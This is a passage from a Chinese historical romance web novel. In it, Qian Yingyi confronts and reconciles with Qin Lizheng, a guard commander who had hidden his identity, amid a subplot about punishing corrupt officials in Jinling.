燕榆浮起一抹阴气森森的笑,“至于你说的什么沉船、百姓起义,那不是咱们该考虑的事,我晓得,你先前想拿我贪墨的证据来要挟我,如今咱们又回到从前了,不也证明你是我燕榆的好儿子?” “三郎,去办吧,你长姐失踪,如今也不知是死是活,爹只有你了。” “只有你了” 一席话像迷雾笼罩着燕如衡,他有股说不出的冷窜上心头。 燕榆早已掐准他的命脉,原来燕榆明白他的良善,明白他的痛苦纠结,也明白他的反抗。燕榆什么也没做,只在一旁泠然旁观着他反复挣扎。 旋即又在他身上织就了牢不可破的一张网,燕榆像长在他身上的伥鬼,甩不掉,尖利的爪子紧紧锁住网,把他兜在身边,即便他在此刻有心逃窜,也再也逃不出去了。 只一瞬间,他像被抽走了三魂七魄,化作一具只知听命于人的活尸,无声点了点头。 光阴转瞬,离八月十五的中秋愈来愈近。钱家花园里栽种的桂花飘洒着清冷幽香,明月如昼,任郁青的院子里充斥着欢声笑语。 许珺笑着抱起团姐儿逗弄,道:“哎呀,瞧瞧这小脸蛋,长得同青青真像,只眉毛稍微有那么丁点儿像她爹。” 说话时,悄悄用余光偷瞥任郁青。 钱林野早在数日前就急匆匆赶了回来,进门时因太着急摔了个大跟头,见任郁青与团姐儿都平安无事,心头便生出无限的愧疚。 自知因那劳什子公务而未尽责任,便抢来钱玉幸的软鞭自挥三十鞭,旋即每夜长跪门外一个时辰,任郁青不命他起身,他绝不起来。 任郁青自然也知他是在惩罚自己,本有些心软,但想及自己怀着团姐儿时的艰辛,时常没有他的身影在眼前,心头也莫名有几分委屈,便也随他去。 这厢闻听许珺说话,她笑一笑,对钱林野不管不顾,只道:“团姐儿是女娃娃,像我才好呢。” 钱玉幸也跟着轻轻戳一戳团姐儿的手掌,目光瞥向坐在一旁发怔的钱映仪,吭吭咳了两声。 屋子里的几人倏然沉默下来,那夜钱映仪的哭声太大,她们都听见了。家里的侍卫摇身一变成了锦衣卫指挥使,悄无声息蛰伏在家里,照往前来说,她们该冲去一并讨伐秦离铮。 可秦离铮才刚救过任郁青与团姐儿,如此一来,一个迟疑的功夫,钱映仪已然把人给赶了出去。 对于钱映仪的这桩情事,她们是有心无力。 上有爹娘与兄姐疼爱,钱映仪十九年的人生里,可谓顺风顺水,身处这样一个环境里,她喜欢一个人又如何能不赤忱、不纯粹? 蓦然知晓自己的心上人伙同亲近的家人一直欺瞒自己,要说不伤心不难过,不宣泄一场,都是假话。 初初知晓此事时,便连钱玉幸都一连好几日没同余骋说话。 更何况是钱映仪。 顿了顿,钱玉幸望向妹妹,嗓音放得很轻,“你晚饭时没吃什么东西,我瞧着你一张小脸都掉肉了,嫂嫂的小厨房炖了鸡汤,姐姐去盛一碗来,你喝两口?” 钱映仪眨眨眼,抿了抿唇,挤出个不算好看的笑,起身把团姐儿望一眼,道:“我不饿。” 钱玉幸拧紧额心,张了张嘴,还要说什么,却见钱映仪理一理褶皱的裙边,轻声道:“我累了,婶婶,姐姐,嫂嫂,我先回去了。” 旋即扭头往外走。 钱玉幸当即要去追,临门一脚却又止住,半晌低叹一声,把秦离铮提出来骂了两句,“查贪官就查贪官,好端端地,扮什么侍卫?别叫我再见到他,否则我下手定然不留情面。” 这厢钱映仪提着兔儿灯走出正屋的门,钱林野正跪在一旁的空地上,见了妹妹,也心知自己做得不对,立即扯出个讨好的笑。 谁知钱映仪却看也不看他,一径行过他身边便往云滕阁去。明明隔得不算远,钱映仪却走了将近半炷香的时间。 甫一进了正屋,瞥见桌上一堆锦盒,并着一封信,钱映仪平静唤来夏菱,“我不是说过,这些东西再送过来,就直接扔了么?” 夏菱够眼一瞧,面色为难,“怎么又送来了?奴婢方才同翠翠说话去了,没瞧见。” 这些时日,秦离铮虽未出现在钱映仪眼前,却依旧照着从前的习惯,每日送些她爱吃的、爱喝的,每日一封信件送来认错,锦盒里头也正是钱映仪最最喜欢的金子。 奈何钱映仪每回都使人把这些东西原封不动地丢出去。 秦离铮也不泄气,依旧如此。倒像是在害怕日复一日下来,钱映仪是冷静了,也把他 给忘了。 钱映仪垂眼盯着桌上的东西,挥一挥手叫夏菱出去时把门阖紧,待屋子里彻底静下来,便点了银釭里的火,本意是想烧了信件,鬼使神差地,又把信给拆开了。 盯着信上熟悉的字迹,钱映仪仿佛能透过这些字想到他说话时的语气与神态。 他不是讲她已融进他的骨头、血液里?他怎么能骗她骗得这样狠。 钱映仪拿着信不自觉踱步,片刻行至镜前坐下,把信搁在一旁,歪着脸匍匐在妆台上,不发一言。 等他离去,她睡过一觉便冷静了不少。 那日他说是担忧自己陷进阴谋诡计,她细细忖度过,虽不知有哪些人在盯着自己,却明白姐夫余骋在这其中的关键性。 如此一来,那些接近自己的人,必定也是为了与自己结亲,好拉拢姐夫。 他是为着查贪官污吏来金陵,却阴差阳错被她捡回家,她晓得,或许她也不该全都怪他。可她就是气他为何迟迟不说,哥哥姐姐回来时他没说,情浓时也没说,哪怕央着她,要她嫁给他时,也没说。 “秦离铮”钱映仪双唇轻翕,生涩低唤他的名字,不由地想起许多年前她还在京师时,隔着车帘的匆匆一瞥。 彼时他正年少,尚且不是如今的模样,她也还小,若非这一切都发生在自己身上,她又岂能信这世上竟有如此纠葛的事? 八竿子打不着的两个人,从前在京师连正儿八经的面也没见过,却能兜兜转转聚在一起。 身份被揭开后,所以事情都益发地明晰,包括他肩头背负的深仇大恨,每每想到此处,钱映仪的心底就泛起尖锐的疼,使她又恨恨想——查贪官污吏,为长兄报仇,他有这样那样的事要办,那就去办好了,凭什么还来招惹她? 钱映仪忿然呆了片刻,把脸轻转到另一头,不防一不留神就望向堆积在妆台的那些首饰。 这些东西自打她狠掷过一次后就一直被堆在角落里。她沉默凝视着那顶凤凰冠,一个错眼,目光落在那被砸得歪扭的牡丹手镯上。 钱映仪支起身子,慢慢地把镯子拾过来,垂着视线盯着它,指尖往一道细小的缺口处抠了抠。 下一瞬,她心头像是被什么堵住,稍稍喘了口气,蓦然喊道:“夏菱,取把刀来——” 这话给夏菱吓一跳,忙不迭推门进来,急得要哭,“小姐,您可不能做傻事呀!” 钱映仪握着镯子的指骨都渐渐突出,重复道:“去取来。” 见她神色冷静,夏菱再三迟疑,只得一步三回头地去取了一把剔骨用的小刀。 钱映仪一言不发握着刀,一下一下用力往镯子上刮,刮完镯子又胡乱去刮那些耳坠与项圈,待指尖沾上细碎的金粉,她倏然笑了,把小刀狠狠往地上一砸,“傻子!” 视线倏然模糊,泪水稀里哗啦往下流,钱映仪好似产生一种错觉,她的面前仿佛出现了两个秦离铮,一个欺瞒她,坏到极致,坏到她扭头就要走,一个却又竭尽全力用自己的方式对她好,死命把她往回拽。 两方拉扯,钱映仪猛然横袖擦泪,心里淤着一团始终无法消散的火。她推翻所有首饰,一径冲出正屋,喊,“小玳瑁!” 小玳瑁本就在不远处,听见动静便是一惊,忙火急火燎行至她身前,“小姐。” “备车,去诏狱。” 小玳瑁讶然,“这时候?小姐不妨明日” 钱映仪蓦然厉声掐断他的话,“你不去备车,我便自己去马厩牵马!” 小玳瑁愣了愣神,只好照办。 明月高悬,秦淮两岸风吹管弦,皓彩当空,繁闹依旧。临近中秋,许多百姓都与家人团圆,一路上热热闹闹,虽已入夜,两岸却益发喧阗吵嚷。 皇城外的锦衣卫诏狱里却岑寂得可怕,秦离铮正仰首靠在椅上稍作休息。 温卓南到底是官家子弟,虽说他有权先斩后奏,可百姓联合起来在官署闹事讨伐,后续究竟如何,还得上报朝廷,由皇上来定夺。 来回一耽搁便是数十日。 这些日子他只审讯了温涧舟同温太太、温辛妍,温卓南是几时染上这样的癖好,又因何突然暴起掳走任郁青,这一切得有个交代。 至于温宁岚,秦离铮只稍稍盘问了两句,便以她是前头温太太所生、与温卓南等没有亲缘关系为由,放回了温家。 温涧舟当真不知温卓南有抑制不住狂躁情绪的症状,秦离铮便把目光投向温太太,一番审问下来才得知全貌。 这时候脚步声渐起,秦离铮掀开眼皮,望向褚之言,嗓音稍显低哑,“皇上的旨意下来了?” 褚之言风尘仆仆进来,快步行至秦离铮身侧,把下颌轻点,“皇上的意思,温卓南的尸首就丢弃山野,飞禽啄,走兽咬,不必再管,至于温家官匪勾结的名头在这里,温涧舟受三十杖,革职永不再用,继而流放千里,家中妻儿亦同往。” “如此也算给怒不可遏的百姓们一个交代。” 褚之言说这话时并未避着人,关押温涧舟的牢狱离得不远。 闻听自己丢了乌纱帽还要被流放,温涧舟立时大骇,眼珠子四下乱转,忙嚷道:“指挥,秦指挥!再给我一次机会,就一次,我能戴罪立功!” 他道:“燕榆等人身涉贪墨,我知道得一清二楚,我府中还埋着燕榆贿赂我替燕如衡调任回金陵的银子!我尽数缴纳,救救我,秦指挥,您救救我!” 褚之言冷笑,“都到了这里,温大人想必是没有再回吏部的可能了,至于贪墨你当我们不知?” 温涧舟霎时愣住,意识到自己后半辈子都要在苦寒之地度过,心头生出无限悔意,恨恨望了眼被吓得晕厥过去的温太太,一屁股跌坐在了地上。 秦离铮淡瞥他一眼,抬手拧了拧眉心,起身往外走,“也算交代了。” 同褚之言一径行出诏狱,秦离铮抬眼扫过头顶的明月,轻问,“她怎么样?” 其实每个夜里秦离铮都会潜进钱家看一看钱映仪,只敢悄悄趁她睡着了没防备时贪婪地盯着多看几眼,因此,白日里钱映仪是什么情况,他只能凭猜。 赶巧这几日任郁青时常命丫鬟往诏狱这头送些瓜果点心与谢礼,一并谢谢他们两个,褚之言便也顺势同丫鬟打探一两句钱映仪的近况。 褚之言扯出一缕叹息,拍一拍秦离铮的肩,实话实说:“钱少奶奶的丫鬟说,她很安静,经常一坐便是一整日,也不同人说话,有时去看团姐儿,笑起来比哭还要难看。” “我早劝你与她坦白,你顾着这个顾着那个,这下好了?人家干脆不搭理你了。” 二人正要往外走,远处隐隐响起马蹄声,杂糅着车轴滚动的吱呀声,秦离铮渐渐睁大眼,反剪在背后的手不自觉握紧,连呼吸都有刹那的窒息。 褚之言也十分意外,怔然盯着马车越驶越近。 马车甫一停稳,钱映仪就跌跌撞撞冲下车,蓦然一抽小玳瑁腰间的佩剑,奋力往秦离铮的方向跑,跑得鬓发微散,气喘不已。 秦离铮望着她益发离得近的容颜,扯出个笑,“还在生气,是不是?” 旋即目光往下移,看着她打颤握着剑的手,把眼轻轻阖上,“你只管出气,我不会躲。” 钱映仪急喘着一口气,凝视他因劳累而疲乏的眼眉,手一松,剑身落地,继而铆足了全身的劲,当着褚之言同一些锦衣卫的面,狠狠一记耳光扇向他—— “秦离铮,你把我当什么?”她一开口,滚烫的泪砸落在地,“你凭什么自以为是的瞒着我?凭什么说是为了我好,什么都不让我知道?我是心软,可我不是傻子!你一味用你自己的方式来对待这件事,可曾问过我半句?我钱映仪是活在温室里,可不代表我什么都不懂!什么阴谋诡计,要算计就让他们算计好了,我根本就没在怕!你凭什么如此轻视我?!” 她一口气说完,又猛然咳嗽一阵,环视一圈整个诏狱,继而又道:“你这个人,起初同这诏狱一样,冷得像块冰,是因为我,你才有了人情味,一切都是因为我,你的改变有我参与,凭什么到了这件事面前,我就该什么都被蒙在鼓里,什么都该不晓得了?” “我不要你的自以为是,也不要你默默无闻的爱,”她向从前那样仰脸瞪着他,“我更不要做你羽翼下的一朵花,我是活生生的人,我有知晓一切的权利!你既做不到,当初又 为何要来撩拨!” “我打你这一巴掌,疼不疼?疼就给我记住,我没你想的那么娇弱,也没你想的那么不堪一击!”她哭道:“你在我身边当个侍卫,处处护着我,不叫旁人带着阴谋诡计接近我,算什么本事?” 她眼里的情绪倏然变得干净简单,狠狠把他一推,“你说叫我开春后一定要嫁给你,那你就正大光明告诉所有人,你要娶我!以你秦离铮的身份娶我,彻底隔绝其他人的盘算!带着最纯粹、最真实的自己来爱我!” 字字句句,都带着使人震撼的情感。便连褚之言都睁大了眼,未料她竟有如此敢爱敢恨。 说到最后,钱映仪一下接一下横袖擦泪,声音渐渐低下来,“我不许你轻视我你怎么能这样自以为是” 秦离铮隔着小半截距离望着她,恍然又生出一股重新把她认识了一遍的感觉。 她一席话铿锵有力,言语化作利剑,好似要把他浑身都戳满窟窿,令他生出滔天的惭愧与自责。 她说得对,他一再重新认识她,他分明早已十分了解她,怎么能够那样自以为是的认为她什么都不知道才是最好? 他一把冲上前揽紧她,把她的脸摁在那一小块心房,低哑的嗓音隐有哽咽,“是我太混蛋,是我太浅薄,是我太自以为是,一切都怪我” 钱映仪闷在他胸前抽噎,猛然又握拳捶他,“我本想一剑杀了你,见到你的那一刻,我又改变了主意,凭什么最后是我做恶人!” 她抬起脸,举着通红的双目盯着他,“我只问你一句话,你可曾后悔?” 褚之言一听,哪能不明白?他乐得转过身,顺手抬了抬,命那些锦衣卫也跟着转身。 秦离铮的指尖抚过她稍显消瘦的脸,哑声道:“我后悔得恨不能死过一回重来。” 自打二人相遇,彼此就从未分开过这么久。久到秦离铮觉得仿佛跨过了数年光阴,他无比虔诚地掬着她的脸,如她所言,带着最真实的自己去爱她,“从今往后,是秦离铮在爱钱映仪,爱钱映仪的赤忱,爱钱映仪的纯粹,爱钱映仪的一切,你是你,我是我,我们之间再也不会有什么自以为是的欺瞒。” 旋即一抬她的下颌,带着疯涨的思念重重吻下,吻的感觉,彻底推翻了所有沉重,只剩简单的情与爱,他们之间,亦只剩最真实的彼此—— 作者有话说:远在天边的秦离然听见秦离铮说不如一剑杀了自己来得痛快时,有些无语:“弟啊,弟妹生气,你紧着哄是应该的,也别忘了还要替哥报仇。[求求你了]” OK,小虐一章,之后又都是甜。 钱映仪崩溃是必然的,她的爱实在太赤忱了。 第45章 月如银盘,挥洒在二人肩头,钱映仪心底的乌云总算被拂开。因仰脸被秦离铮堵得喘不来气,钱映仪便蓦然把他一推。 满脸微干的泪渍衬得整个人稍显狼狈,钱映仪凝视着他,半晌却“噗嗤”一声笑弯了眼。 钱映仪脚尖由裙摆底下探出来,重重往他笔直的小腿上一踢,狠话里还带着浓重的鼻音,“再给你一次机会,若还敢把我耍得团团转,我要你好看。” 指挥这几日时常冷着脸,锦衣卫们也时常私下咂摸着不去惹他不快。今番他能同钱小姐解开心结,几个年纪尚小的锦衣卫也跟着高兴,一时没忍住,虽背着身,却跟着抖动肩头泄出两声笑。 钱映仪心头咯噔一声,扇一扇眼的功夫,脸上就渐染红晕,才刚还气势汹汹吼着秦离铮呢,现下恨不能整个人躲进他的身体里。 褚之言这时候转背望向她,两条胳膊反搭在身后笑,“指挥哪还敢呢,日后仍然是钱小姐说什么,他便做什么,我来做钱小姐的眼线,倘或指挥敢再对你耍心眼,我头一个来告诉你。” “哼,这还差不多,”钱映仪整个人仿佛又活了过来,泪涔涔的眼睛褪去湿润,又眨出闪闪烁烁的光,她攀着秦离铮的胳膊,探出半张脸去瞧这阴气森森的诏狱,眼珠子一转,倏然急起来,“你们把温家人都羁押了是不是?那岚岚” “放心,”秦离铮抚一抚她的背,“温三小姐这会在家,我晓得你会担心她,没对她做什么,具体细节咱们换个地方说,饿不饿?” 由他一问,钱映仪的肚子赶巧响了两声,她又剜他一眼,磨着两片唇肉骂他,“都怪你,王八蛋!我好容易养出二两肉,这几日都快掉没了!” 话音甫落,她复又反拢微散的鬓发,把一张脸歪在秦离铮眼前,凑得近近的,“我还是美的吧?” 秦离铮忍俊不禁,掐一掐她的腮肉,一面跟着答话:“养回来,都养回来,美。” 同手下们交待过事宜,秦离铮旋即牵起钱映仪的手往马车那头去,说是往淮河边买些吃食,钱映仪回首望一眼褚之言,心下好奇,倏问,“他那乐馆是你们的联络点,是不是?我能不能去那儿用饭?” 褚之言跟在后头笑,“哟,赶巧我那儿的吃食做得还不错,钱小姐若不嫌乐馆,我自然是欢迎的。” 钱映仪把下颌轻点,远远冲小玳瑁摆一摆手,“你先回去!我突然出来,姐姐她们想必正急着呢,你回去同她们说一说!” 旋即便笑嘻嘻与褚之言道:“不嫌,不嫌,我要去。” 既已揭发身份,秦离铮也再没什么好遮掩的,大大方方领着钱映仪去了淮河旁,一路引她进了乐馆那间常用来议事的暗室。 钱映仪端端正正靠窗坐,举着一双好奇的瞳眸四下窥瞧,直至褚之言提着食盒进来,她方收回目光,抿唇笑了笑。 大约是秦离铮仔细交待过,一碟熟煎鲜鱼,一碟鲜虾,两块蝴蝶卷,并一盅锦丝糕子汤,全依照钱映仪的喜好安排好了。 钱映仪当真是饿,也不再客气,一口气吃过一块蝴蝶卷,方握着箸儿抬脸,问起正事,“温卓南做下那样的恶事,外头闹得沸沸扬扬,你们怎么处置?” 秦离铮替她剥着虾肉,如实答了。 钱映仪大惊,登时拔座而起,“阖家流放?!那岚岚怎么办?” 她搁下箸儿,细想片刻,启唇道:“头先你问我如何看待贪官,我明白同你讲,岚岚的娘从前是扬州府富商的独女,嫁妆只多不少,自打她娘离世后,她爹没多久就迎了继室进门,那温太太十分乐意看岚岚在她裙摆下讨生活,平日里一个铜板都舍不得从指缝里流出来给岚岚,自打岚岚亲娘离世,她就再也没使过家里的银子,只靠她娘留给她的那些,所以” 她掀眼盯着秦离铮,把眉轻攒,“所以,有没有可能,岚岚能不能不跟着遭罪?” “我知道,贪官是该死,”她道:“可是,岚岚她你们能不能酌情考虑?” 褚之言没立时接话,片刻才道:“温三小姐是什么情形,我们自然能查到,只是明面上,她依旧是温涧舟的女儿,同整个温家融为一体,皇上下的命令,咱们只能照办。” 钱映仪眨眨眼,敏 锐从褚之言的话语中揪出一星半点的转机,她猛然扭头望向秦离铮,眼里闪着希冀的光,“你已经想好法子了,是不是?” “先吃饭,”秦离铮持箸轻敲她面前的碗,示意她先坐下,“把虾肉都吃了。” 待钱映仪嘴里复又塞了些吃食,他方替她斟着热茶,一面道:“在明面上,温三小姐势必要跟着温涧舟一并上路,倘或她要躲开,只有一个法子。” 秦离铮望向钱映仪,“让世人都知道温三小姐死在了诏狱里。” 钱映仪手一抖,咽下最后一块虾肉,见正临着窗坐,便抬手推了推窗,使夜里的风吹一吹自己,片刻又阖紧,明白过来,“我懂了,岚岚可以换个身份好好活着。” 秦离铮眼里蕴着温柔,伸出手越过桌案握紧她,“不要担心,这世上的善恶自有定论,哪怕皇上这回只是轻轻罚了,日后温涧舟也难逃一死,他本就贪墨不少,宅子里挖出十几万两贪银呢。” “温三小姐没做过恶事,亦没踩在老百姓头上喝血,是罪不至死。” “只是她到底是温家人,能原宥她,自然也要罚,若非要计较起来,整个温宅,她住的屋子,都可算作贪墨之列,往前她做了十几年的小姐,日后改名换姓,凡事只能靠自己一个人,如此也可算作罚。” “总之,你不必太担忧,脱离温家,或许对温三小姐来说是件好事。” 得知温宁岚能逃开这一劫,钱映仪心头的石头总算窜下去。既聊上贪官,她干脆搁下箸儿,摸着秦离铮递来的帕子把嘴细细揩拭,问,“所以,金陵如今到底有多少贪官?” 她支着脑袋,认真凝望着秦离铮,“我来猜猜,温家,燕家,蔺家王家?” 秦离铮把眉轻挑。 褚之言讶然,“这么快就猜出来了?” “她聪明着呢,”秦离铮眼里浮着笑,一面答了褚之言的话,又问钱映仪,“你是如何知道的?” 钱映仪那双铮亮的眼睛四下转了转,眼梢里泄出一抹得意,“这还用得着仔细猜嘛?你说谁都想接近我,我头先几日就明白了,他们不是想接近我,真正目的是我姐夫在京师户部的权利。” “贪墨嘛,上头不得有人庇护着?在我身边打转得最多的便是燕如衡,除了他,就是吴念笙。” “吴念笙那个蠢材只知玩乐,还在我面前装得像模像样,倘或是吴念笙接近我,只怕没说几句话就自己露馅儿了,先前在江宁,燕如衡问过我一些奇奇怪怪的问题,那时我没觉着有什么,现下细想起来,一切都明白了。” “猜出一个燕家,后头的几个门户也就好猜咯,燕蔺两家是姻亲,贪墨少不得要从物资上贪,这其中自然也少不了递运所办事,燕太太的弟弟不正是姓王,不正好管着递运所嘛?” 钱映仪笑嘻嘻摸了盏茶轻呷,打湿两片嫩嘟嘟的唇肉,又道:“我还能猜着,或许里头还有范家,定然是我不太好接近,燕家便暂且打消了这个念头,把目光投向了范家,那日范宝珠同燕如衡站在一处,我瞧见了。” 话音甫落,她一连嗔了秦离铮几眼,“嘁”了一声,“我就说不要轻视我,不晓得你有什么好瞒的。” 秦离铮哑然,先前那股心虚又冒出来。好在钱映仪没与他计较,兀自托起两片软软的腮肉,喉间牵出一缕笑叹,“哎呀,没想到我还是个香饽饽呢!” 褚之言笑,“钱小姐当真兰心蕙性。” 谈过正事,填饱了腹中空虚,眼见时辰不算早,秦离铮干脆起身,“走,我送你回家。” 钱映仪瘪一瘪唇,指尖绕着两缕发丝打转,期期艾艾盯着他,“我好容易不伤心了,在河边玩会儿了再回去。” 褚之言一连迭摆手赶人,抖着肩笑,“指挥不,小秦,带小姐玩去吧。” 秦离铮能有什么法子?对钱映仪,他向来只有妥协这一个选择。因此,只好领着她往平日里去的地方都打了个转。 一路走河岸吹过夜里稍凉的风,钱映仪总算想着要回家,旋即转身向他摊开两条胳膊,倏软嗓音,“我累了,你背我回去好不好?” 他哪能不答应呢?自打经历过十来日的分离,如今再见钱映仪,秦离铮恨不能把她时时刻刻留在身边,因而他展开双臂,一手握紧她的腰,一手去捞她的腿弯。 钱映仪吓一跳,下意识晃一晃两只绣鞋,“让你背,又没叫你抱!” 秦离铮笑得胸膛轻振,一径穿过河边,走进条人烟稀少的小径,绕着路走,“背你总觉得少些什么,只有抱着你,我才感觉到真实,先前不是叫我告诉所有人?怎的这时候又晓得羞了。” 他复又化作从前那个讲话直白的“侍卫”,言语钻进钱映仪心底,无端端牵起两分悸动,悸动之下又是浓重的安心,好似她先前的伤心都只是一场梦。 她干脆抬起胳膊去搂他,把脸缩在他的胸前,窃窃笑了两声,“细细检算起来还是我亏了呢,过了今晚,想必又有不少人在外头说,哎呀,瞧见没?钱家小姐同那个指挥使真的有点什么呢!” 她嘀嘀咕咕学着那些语气,俏皮得像只捣蛋的小猫,秦离铮的心房渐渐又塌陷一块,揽着她的手益发地紧,顺势又把她往上颠了颠,“随他们说去,你本来就同我有关系,这辈子都别想再脱离,你瘦了不少,还想吃些什么,回头列张单子给我,我每日命人给你送去。” 钱映仪讶然挑眉,夸张扬起语调,“哟,做回指挥就是不一般,说话办事都跟变了个人似的,是我高攀咯。” “”秦离铮脚步顿停,单手拖着她的腿弯,腾出一只手来轻挠她腰间的软肉,“嗯?” 钱映仪痒得咯咯直笑,“好嘛,不要闹了,不要闹了,我还等着回去捡东西呢。” 秦离铮收回手,复又兜揽她的腰身,低问,“捡什么?” “你以为我为何突然来寻你?”钱映仪说起来眼睛里不免又泛着星星点点的泪光,“我觉着你就是个傻子,好端端地,送银饰就送银饰,为着掩藏身份,又想送金子给我,就请工匠去做银包金,若非我今夜发现了,你以为我为何要来?” 隔了片刻,她搂着他的肩颈,把自己往上提了提,歪着脸往他的唇畔轻轻亲了下,小声道:“我这个人,虽然心软,却也心细。” “你还是只是我身边的侍卫时,我就能感受到你的爱,这些东西做不得假,所以我希望你也能大大方方来爱我,就像我今夜大大方方奔向你一样。” 秦离铮的目光渐渐跟着模糊。她好似守住了他身前这一小块天地,把整片心房占据得满满的,这里由默然岑寂变得嘈杂明亮,使他也不自觉兜紧了她,听她小声趴在他身前开口,“两个人相爱,就是要抛开一切繁杂的东西,好简单纯粹、大大方方的嘛。” 俄延半晌,他重重点了点下颌,把她抱得益发紧,“好,你也答应我一件事,以后不许再哭,好不好?” 钱映仪本来由风吹干了泪,听他一提,那点洇润复又冒出来,反倒砸了一滴泪在衣襟里。 她把两条腿晃着,“哎呀,你不许说,说得人家又要哭了,我长这么大哪哭过这么多回?说来说去就是怪你干了坏事。” 秦离铮只能反反复复在她耳畔低声认错,半晌才给人哄高兴。 两人换了条更僻静的小径走着,秦离铮倏道:“明日就要对温涧舟行刑,待他受完刑,就该上路了,同样的,温三小姐的假死也安排在明日,日落时分,我会派人带她前往码头,你好好想想有没有要同她告别的话,届时我来接你。” “她这一走,你们或许以后都见不到了。” 钱映仪双手不由地揪紧秦离铮的衣裳,默然片刻没有讲话。 久到秦离铮以为她又陷进悲伤里,正要歪着脸窥一窥她,忽地又听她絮絮叨叨开口,“说什么呢?其实现在要我仔仔细细想,我反倒想不出来,只是离别在即,我总有些茫然” “岚岚的性子瞧着怯弱,内里却是坚韧的,我也知道,她脱离了温家能活得更好,可叫我突然和她告别,我一时半会真不知该说什么,你的人会送她到哪?可有安排好?” 她嘀咕半日,问的大多是温宁岚改名换姓后的安排,秦离铮托着她稳步往前走,嗓音低得令人安心,“大约是安排她去边境,我会交代她,待时间长一些,皇上把金陵的案子也淡忘了,她再试着慢慢往回走,东南西北,总有她能扎根的地方。” 钱映仪一颗心总算又落地,心里头琢磨着归家替温宁岚打点些细软。 不知是不是钱映仪的错觉,她总觉得秦离铮脚步越来越慢,以至于到了四周都静悄悄的时候,她才远远瞧见自家宅子的角门。 俄延半日,秦离铮行至角门外,把她放下来,抚一抚她的额发,“早些睡。” 钱映仪轻轻眨眼,眼底藏着一丝暗味,背欹在角门外的墙上,“你如今住哪呢?” “正阳门那头,离诏狱不远。” 钱映仪把月眉轻挑,没再讲话,垂着眼把裙边拍一拍,旋起裙摆,抬起胳膊去叩门。 不防自己映在门上的身影倏然变高变大,屈指叩门的指骨还未敲下,手腕一把被攫紧。 目色微闪的功夫,她人已挪了位置,被抵在方才那面墙上,两个手腕都被摁紧,唇上迎来又重又急的喘气声。 秦离铮俯身亲她,那股浓重的思念再度冒尖,唇齿间的力度重到钱映仪怀疑身后若不是墙,她大约已经被他的一个吻压弯了腰。 八月中旬的夜里有些凉,她身前却是一片滚烫,连自己的呼吸也被绞缠得急喘不已,四周静悄悄的,依稀能听见斜后方门缝里传来家里小厮的低语。 钱映仪轻颤着阖眼,仰着脸努力回应他的思念,把自己的那一份也卷进他的口中。 下一刻,她紧握的手掌被他温热的手指推开,与她十指相扣,越合越紧。 其实她有些疼,可不妨碍她在紧贴的指骨间捡出他的爱,于是她也用力回握着他,紧密相连的掌心把他们再也不想分开的心也藏在里面。 要像初次亲吻那样,再度为一个吻刻骨铭心,为一个吻把自己的真心呈给心上人看,带着世间最简单、最热烈的爱唇齿交缠。 渐渐地,秦离铮松开了她的唇,手却没松,鼻尖去轻蹭她,倏然没头没尾低声道:“高攀的不是你,是我。” 他一下一下啄吻在她的额心,“能拥有你过分赤忱的爱,是我这一辈子最幸运的事。” 钱映仪的脸悬在他眼前,她把下颌轻抬,努力借以月色窥瞧他瞳眸里的自己,稍刻,轻轻笑了笑,晃一晃他的手,“知道了,你舍不得我进去,是不是?” 秦离铮埋首在她颈间,低低应声。 两人又静待片刻,待到钱映仪仰起脸,蓦然在半空瞧见一条勾着丝的小虫正摇摇坠坠,她大惊失色,忙一把推开他,一个蹦跳就往旁边跳。 秦离铮被她推得发蒙,“怎么了?” 这动静引来小厮开门露出半张脸,见是钱映仪,忙一连迭唤着小姐。 钱映仪抬眼悄瞥那条小虫,仍好好在那儿挂着,又见小厮发现了秦离铮,心头被刺激得鼓声雷动,耸着肩讪笑两声,朝秦离铮摆一摆手,“我、我先进去了,明日再说,明日再说。” 旋即一提裙边跨进门槛,小厮跟着望了两眼,算是同秦离铮打过照面,遂“啪”的一声阖紧了门。 秦离铮怔然站在原地,盯着那扇门,仿佛晓得钱映仪还在门后。直到肩头堆积十来片树叶,方带着一股称得上是失而复得的喜悦转背离去。 而钱映仪这头自然是悄悄躲在门后没吭声,小厮歪着脑袋瞧她,她也抬手制止几人不许说话。 她很高兴,高兴得要在原地跳起来!可她仍有些小心眼,不想被他发现。 直至脚步声渐远,钱映仪唇畔的笑意越扩越深,亮晶晶的眼睛越来越弯 冷不丁地,她猛然提裙往宅子里头赶,一径穿过花群与树木,带着满腔的欢喜,跨过每一处同秦离铮一起走过的地方,她的鞋底每踩下一块地砖,心就跟着扑通跳一下。 该怎么形容呢?她爱秦离铮,抛开了世俗与礼义廉耻,不带任何色彩去爱他,这件事一旦确定下来,她奔跑时恍惚见到一片花瓣,都觉得是五彩斑斓的蝴蝶。 这蝴蝶像她,自由,热烈。 钱映仪一颗小小的心在为自己高兴,为自己爱秦离铮而高兴,也为秦离铮爱自己而高兴。 这抹高兴牵动着她奔进任郁青的院子,迎面见着钱林野正在廊下搽药油,便一把揽起他的胳膊转了两圈。 旋即又一头冲进正屋,抱着钱玉幸来回蹦跶,目色里蕴着滔天的快乐,“姐姐姐姐我好高兴。” “你咋咋呼呼做什么呢?”钱玉幸被她唬一跳,忙不迭竖起指头在唇边,“嘘,团姐儿正睡着呢。” 钱映仪稍稍敛了动静,歪着脸去小木床里瞧睡得小脸红扑扑的团姐儿,目光掠至这张木床,脑子里又不受控制地想起从前的光景。 原来,已经过去这么久了。 原来,她也不是突然爱上秦离铮。 他们在她的家里,从冷冰冰的早春相识到早秋,虽不比旁人动辄数十年光阴的轰轰烈烈的爱,可却正是这样的小情小爱紧紧牵动着她的心,令钱映仪不由地产生一种向往—— 他们跨过的光阴才那么一点点,就像她的心,起初小小的,渐渐地,会越来越大,容纳进了家人、好友,如今又容纳进一个他。 这样的光阴,在今后的将来也会越来越长,他们交握在一起的手会一直牵着。 一想到这,钱映仪就窃窃笑出声,指尖拨弄悬在团姐儿脸上的彩球,又一股脑冲了出去。 她好像不知疲乏,一路奔回云滕阁,见那些首饰被收回原位,忙唤来夏菱,伸出指头逐一点过去,“这个,这个,还有这个,一并都送去修,明日一早就送去!” 夏菱早先就在小玳瑁嘴里听出了始末,心里也跟着高兴,立时泄出个笑,一连迭跟着点头应声。 眼下实在太晚,由夏菱催促过两三遍,钱映仪遂洗漱妥当倒进了帐子里。 可她实在是高兴,一时自枕上爬起来,摸一摸自己的脸,一时又倒下去,把枕畔抚一抚,掌心用力往下摁出个窝,仿佛有这个窝在,里头就能冒出源源不断的泉水,秦离铮的身影便会从里头长出来。 